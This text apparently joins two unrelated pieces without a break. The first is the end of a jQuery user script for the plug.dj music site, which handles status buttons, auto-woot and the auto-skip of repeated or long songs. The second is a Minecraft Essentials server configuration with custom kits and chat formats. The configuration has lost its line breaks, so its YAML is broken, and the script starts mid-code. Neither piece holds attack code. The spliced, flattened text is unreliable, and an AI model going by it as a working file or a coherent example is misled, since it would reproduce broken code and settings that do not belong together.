$("#plug-btn-noskip").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(skipMsg[Math.floor(Math.random() * skipMsg.length)]); } }); $("#plug-btn-waffles").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(wafflesMsg[Math.floor(Math.random() * wafflesMsg.length)]); } }); $("#plug-btn-sleeping").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 3) { API.sendChat(sleepMsg[Math.floor(Math.random() * sleepMsg.length)]); Models.user.changeStatus(3); } } }); $("#plug-btn-working").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 2) { API.sendChat(workMsg[Math.floor(Math.random() * workMsg.length)]); Models.user.changeStatus(2); } } }); $("#plug-btn-afk").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 1) { API.sendChat(afkMsg[Math.floor(Math.random() * afkMsg.length)]); Models.user.changeStatus(1); } } }); $("#plug-btn-back").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 0) { API.sendChat(backMsg[Math.floor(Math.random() * backMsg.length)]); Models.user.changeStatus(0); } } }); $("#plug-btn-skip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new ModerationForceSkipService; } }); $("#plug-btn-lock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); }); $("#plug-btn-unlock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); }); $("#plug-btn-lockskip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); new ModerationForceSkipService; new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); } }); } function queueUpdate() { if (autoqueue && !isInQueue()) { joinQueue(); } } function isInQueue() { var self = API.getSelf(); return API.getWaitList().indexOf(self) !== -1 || API.getDJs().indexOf(self) !== -1; } function joinQueue() { if ($('#button-dj-play').css('display') === 'block') { $('#button-dj-play').click(); } else if (API.getWaitList().length < MAX_USERS_WAITLIST) { API.waitListJoin(); } } function autoRespond(data) { var a = data.type == "mention" && Models.room.data.staff[data.fromID] && Models.room.data.staff[data.fromID] >= Models.user.BOUNCER, b = data.message.indexOf('@') >0; if (data.type == "mention" && mentioned == false) { if (API.getUser(data.fromID).status == 0) { mentioned = true; timer = setInterval("checkMentioned();", 1000); if (Models.user.data.status == 1) { API.sendChat("@" + data.from + " automsg: " + autoAwayMsg[Math.floor(Math.random() * autoAwayMsg.length)]); } if (Models.user.data.status ==2) { API.sendChat("@" + data.from + " automsg: " + autoWrkMsg[Math.floor(Math.random() * autoWrkMsg.length)]); } if (Models.user.data.status ==3) { API.sendChat("@" + data.from + " automsg: " + autoSlpMsg[Math.floor(Math.random() * autoSlpMsg.length)]); } } } } function djAdvanced(obj) { if (hideVideo) { $("#yt-frame").css("height", "0px"); $("#playback .frame-background").css("opacity", "0.0"); } if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } setTimeout("overPlayedSongs();", 3000); } function overPlayedSongs(data) { if (overPlayed.indexOf(Models.room.data.media.id) > -1) { API.sendChat("/me auto skip ligado, Musica Repetida. Fuck you baby!"); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } if (Models.room.data.media.duration > 481) { API.sendChat("/me auto skip ligado, música com mais de 6 minutos seram puladas."); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } } function populateUserlist() { var mehlist = ''; var wootlist = ''; var undecidedlist = ''; var a = API.getUsers(); var totalMEHs = 0; var totalWOOTs = 0; var totalUNDECIDEDs = 0; var str = ''; var users = API.getUsers(); var myid = API.getSelf(); for (i in a) { str = '' + a[i].username + ''; if (typeof (a[i].vote) !== 'undefined' && a[i].vote == -1) { totalMEHs++; mehlist += str; } else if (typeof (a[i].vote) !== 'undefined' && a[i].vote == +1) { totalWOOTs++; wootlist += str; } else { totalUNDECIDEDs++; undecidedlist += str; } } var totalDECIDED = totalWOOTs + totalMEHs; var totalUSERS = totalDECIDED + totalUNDECIDEDs; var totalMEHsPercentage = Math.round((totalMEHs / totalUSERS) * 100); var totalWOOTsPercentage = Math.round((totalWOOTs / totalUSERS) * 100); if (isNaN(totalMEHsPercentage) || isNaN(totalWOOTsPercentage)) { totalMEHsPercentage = totalWOOTsPercentage = 0; } mehlist = ' ' + totalMEHs.toString() + ' (' + totalMEHsPercentage.toString() + '%)' + mehlist; wootlist = ' ' + totalWOOTs.toString() + ' (' + totalWOOTsPercentage.toString() + '%)' + wootlist; undecidedlist = ' ' + totalUNDECIDEDs.toString() + undecidedlist; if ($('#side-left .sidebar-content').children().length > 0) { $('#side-left .sidebar-content2').append(); } $('#side-left .sidebar-content2').html(' users: ' + API.getUsers().length + ' '); var spot = Models.room.getWaitListPosition(); var waitlistDiv = $(' ').addClass('waitlistspot').text('waitlist: ' + (spot !== null ? spot + ' / ' : '') + Models.room.data.waitList.length); $('#side-left .sidebar-content2').append(waitlistDiv); $('#side-left .sidebar-content2').append(' '); $(".meanlist").append( ' meh list:' + mehlist + ' ' + ' woot list:' + wootlist + ' ' ); } function checkMentioned() { if(timePassed >= timeToWait) { clearInterval(timer); mentioned = false; timePassed = 0; } else { timePassed = timePassed + 601; } } function checkClicked() { if (clickPassed >= clickWait) { clearInterval(clickTimer); clicked = false; clickPassed = 0; } else { clickPassed = clickPassed + 601; } } function checkSkipped() { if (skipPassed >= skipWait) { clearInterval(skipTimer); skipped = false; skipPassed = 600; } else { skipPassed = skipPassed + 500; } } $('#plugbot-css').remove(); $('#plugbot-js').remove(); $('#chat-messages').append(' Bem vindo auto-skip editado pelo Rafael Moraes 1.0 '); $('body').prepend('' + "\n" + styles.join("\n") + "\n" + ''); $('body').append(' ' + ' ||| ' + ' ' + ' ' + ' ' + ' ||| ' + ' ' + ' ' + ' '); $('body').append('');
dallyswag / Sqygd############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: '4' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # The maximum length allowed in nicknames. The nickname prefix is included in this. max-nick-length: 15 # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isn't used, force essentials to add the prefix and suffix from permission plugins to displayname. # This setting is ignored if essentialschat.jar is used, and defaults to 'true'. # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # If the teleport destination is unsafe, should players be teleported to the nearest safe location? # If this is set to true, Essentials will attempt to teleport players close to the intended destination. # If this is set to false, attempted teleports to unsafe locations will be cancelled with a warning. teleport-safety: true # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 3 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command. # This will also prevent the player attacking other players. teleport-invulnerability: 4 # The delay, in seconds, required between /heal or /feed attempts. heal-cooldown: 60 # What to prevent from /i /give. # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules. # Note: The blacklist above will be ignored then. # Example permissions (these go in your permissions manager): # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # - essentials.unlimited.item-all # - essentials.unlimited.item-[itemname] # - essentials.unlimited.item-[itemid] # - essentials.unlimited.item-bucket # Unlimited liquid placing # # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution. spawnmob-limit: 1 # Shall we notify users when using /lightning? warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt. # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # - info # Disabling commands here will prevent Essentials handling the command, this will not affect command conflicts. # Commands should fallback to the vanilla versions if available. # You should not have to disable commands used in other plugins, they will automatically get priority. disabled-commands: # - nick # - clear - mail - mail.send - nuke - afk # These commands will be shown to players with socialSpy enabled. # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on. socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system, simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: Goblin: delay: 3600 items: - 272 1 sharpness:2 unbreaking:1 looting:1 name:&8[&2Goblin&8]&fSword - 306 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fHelmet - 307 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fChestplate - 308 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fLeggings - 309 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fBoots - 256 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fShovel - 257 1 efficiency:1 unbreaking:1 fortune:1 name:&8[&2Goblin&8]&fPickaxe - 258 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fAxe - 364 16 Griefer: delay: 14400 items: - 276 1 sharpness:3 unbreaking:3 name:&8[&d&lGriefer&8]&fSword - 322:1 1 - 310 1 protection:2 name:&8[&d&lGriefer&8]&fHelmet - 311 1 protection:2 name:&8[&d&lGriefer&8]&fChestplate - 312 1 protection:2 name:&8[&d&lGriefer&8]&fLeggings - 313 1 protection:2 name:&8[&d&lGriefer&8]&fBoots Villager: delay: 43200 items: - 267 1 sharpness:4 name:&8[&eVillager&8]&fSword - 306 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fHelmet - 307 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fChestplate - 308 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fLeggings - 309 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fBoots - 388 10 - 383:120 2 Knight: delay: 43200 items: - 276 1 sharpness:3 name:&8[&cKnight&8]&fSword - 310 1 protection:2 name:&8[&cKnight&8]&fHelmet - 311 1 protection:2 name:&8[&cKnight&8]&fChestplate - 312 1 protection:2 name:&8[&cKnight&8]&fLeggings - 313 1 protection:2 name:&8[&cKnight&8]&fBoots - 388 20 - 383:120 4 King: delay: 43200 items: - 276 1 sharpness:4 fire:1 name:&8[&5King&8]&fSword - 310 1 protection:4 name:&8[&5King&8]&fHelmet - 311 1 protection:4 name:&8[&5King&8]&fChestplate - 312 1 protection:4 name:&8[&5King&8]&fLeggings - 313 1 protection:4 name:&8[&5King&8]&fBoots - 388 30 - 383:120 6 Hero: delay: 43200 items: - 276 1 sharpness:4 fire:2 name:&8[&aHero&8]&fSword - 310 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fHelmet - 311 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fChestplate - 312 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fLeggings - 313 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fBoots - 388 40 - 383:120 8 God: delay: 43200 items: - 276 1 sharpness:5 fire:2 name:&8[&4God&8]&fSword - 310 1 protection:4 unbreaking:3 name:&8[&4God&8]&fHelmet - 311 1 protection:4 unbreaking:3 name:&8[&4God&8]&fChestplate - 312 1 protection:4 unbreaking:3 name:&8[&4God&8]&fLeggings - 313 1 protection:4 unbreaking:3 name:&8[&4God&8]&fBoots - 388 50 - 383:120 10 - 322:1 5 Legend: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&6&lLegend&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&6&lLegend&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&6&lLegend&8]&fAxe Youtube: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&f&lYou&c&lTube&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fAxe Join: delay: 3600 items: - 17 16 - 333 1 - 49 32 - 50 16 - 4 64 - 373:8258 1 - 320 16 Reset: delay: 31536000 items: - 272 1 sharpness:4 unbreaking:3 name:&8[&cR&ee&as&be&dt&8]&fSword - 298 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fHelmet - 299 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fChestplate - 300 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fLeggings - 301 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fBoots - 354 1 name:&f&l Cake &4Vote # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: - color - balance - buy - sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled. backup: # Interval in minutes. interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups. # You can hide and merge the groups displayed in /list by defining the desired behaviour here. # Detailed instructions and examples can be found on the wiki: http://wiki.ess3.net/wiki/List list: # To merge groups, list the groups you wish to merge #Staff: owner admin moderator Admins: owner admin # To limit groups, set a max user limit #builder: 20 # To hide groups, set the group as hidden #default: hidden # Uncomment the line below to simply list all players with no grouping #Players: '*' # More output to the console. debug: false # Set the locale for all messages. # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties". # Don't forget to remove the # in front of the line. # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit. remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # This feature requires the player to have essentials.afk.auto node. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # essentials.afk.kickexempt node overrides this feature. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here. death-messages: false # Should operators be able to join and part silently. # You can control this with permissions if it is enabled. allow-silent-join-quit: true # You can set a custom join message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-join-message: "" # You can set a custom quit message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-quit-message: "" # Add worlds to this list, if you want to automatically disable god mode there. no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands. # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks. # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission. # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in. login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the max walk speed, values range from 0.1 to 1.0 max-walk-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime. update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds. # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home. # You can set the default number of multiple homes using the 'default' rank below. # To remove the home limit entirely, give people 'essentials.sethome.multiple.unlimited'. # To grant different home amounts to different people, you need to define a 'home-rank' below. # Create the 'home-rank' below, and give the matching permission: essentials.sethome.multiple.<home-rank> # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: Goblin: 1 Villager: 2 Knight: 3 King: 4 Hero: 5 God: 6 # In this example someone with 'essentials.sethome.multiple' and 'essentials.sethome.multiple.vip' will have 5 homes. # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout. tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 1000 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE. # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have. # The amount is always limited to 10 trillion because of the limitations of a java double. max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command. economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help. non-ess-in-help: true # Hide plugins which do not give a permission. # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat. # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '<{DISPLAYNAME}> {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: Goblin: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Youtuber: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Witch: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Wizard: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Sorcerer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Raider: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Greifer: '&7{DISPLAYNAME}&8:&a {MESSAGE}' ChatMod: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Owner: '&7{DISPLAYNAME}&8:&c {MESSAGE}' OP: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Developer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Admin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' JuniorAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' StaffManager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' ForumAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadModerator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Moderator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Helper: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Villager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Knight: '&7{DISPLAYNAME}&8:&f {MESSAGE}' King: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Hero: '&7{DISPLAYNAME}&8:&f {MESSAGE}' God: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Legend: '&7{DISPLAYNAME}&8:&b {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # General physics/behavior modifications. prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false tnt-minecart-explosion: false tnt-minecart-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players. # permission essentials.protect.entitytarget.bypass disables this. entitytarget: false # Prevent the spawning of creatures. spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: true bat: false witch: false horse: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Disable various default physics and behaviors. disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value.) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled? projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options? weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build? # Set true to disable building for those people. # Setting to false means EssentialsAntiBuild will never prevent you from building. build: true # Should people with build: false in permissions be allowed to use items? # Set true to disable using for those people. # Setting to false means EssentialsAntiBuild will never prevent you from using items. use: true # Should we tell people they are not allowed to build? warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing? placement: 10,11,46,327 # Which items should people be prevented from using? usage: 327 # Which blocks should people be prevented from breaking? break: # Which blocks should not be pushed by pistons? piston: # Which blocks should not be dispensed by dispensers dispenser: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&cWelcome &e&l{DISPLAYNAME}&c to the &8R&7e&8t&7r&8o&4-&cFactions server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: join # Set this to lowest, if you want Multiverse to handle the respawning. # Set this to high, if you want EssentialsSpawn to handle the respawning. # Set this to highest, if you want to force EssentialsSpawn to handle the respawning. respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.
